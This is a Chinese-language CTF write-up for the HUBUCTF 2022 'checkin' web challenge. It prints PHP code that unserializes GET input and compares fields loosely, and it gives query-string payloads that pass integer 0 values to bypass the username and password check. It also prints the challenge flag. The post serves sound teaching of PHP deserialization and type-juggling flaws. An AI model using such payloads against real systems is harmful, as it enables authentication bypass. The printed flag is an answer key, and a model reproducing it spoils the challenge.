[HUBUCTF 2022 新生赛]checkin

发布时间 2023-07-28 17:17:43作者: y0Zero

[HUBUCTF 2022 新生赛]checkin

题目来源:nssctf

题目类型:web

涉及考点:PHP反序列化

前言

昨天玩的有点猛了,忘记写wp了,今天补上两篇

1. 先看题目,给了一串代码,做代码审计

<?php
show_source(__FILE__);
$username  = "this_is_secret"; 
$password  = "this_is_not_known_to_you"; 
include("flag.php");//here I changed those two 
$info = isset($_GET['info'])? $_GET['info']: "" ;
$data_unserialize = unserialize($info);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
    echo $flag;
}else{
    echo "username or password error!";

}
?>

涉及反序列化的知识会在后续的博客中详细介绍(待补充href),这里不做赘述

题目要求GET传入一个info,并对info做反序列化,使得反序列化后的数组中,对应的$data_unserialize['username']==$username,$data_unserialize['password']==$password

2. 我们先利用php在线构造出我们需要的数组的序列化字符串

得到结果如下:

于是我们构造payload:

/?info=a:2:{s:8:"username";s:14:"this_is_secret";s:8:"password";s:24:"this_is_not_known_to_you";}

还是不对

注意到第五行中的注释,说改变了两者的值

3. 结合弱比较再次构造payload

if语句中使用双等号判断,可以想到使用弱比较

字符串在和数字比较的时候会将字符串转化为数字,当字符串开头没有数字时,则转化失败为false

于是猜想username和password改变后开头仍没有数字,那么数组里的值我们直接设置为0:

于是构造payload如下:

/?info=a:2:{s:8:"username";i:0;s:8:"password";i:0;}

得到flag:

NSSCTF{df71c00d-151b-4fad-b75e-82bc403e7a51}

日期:2023.7.27

作者:y0Zero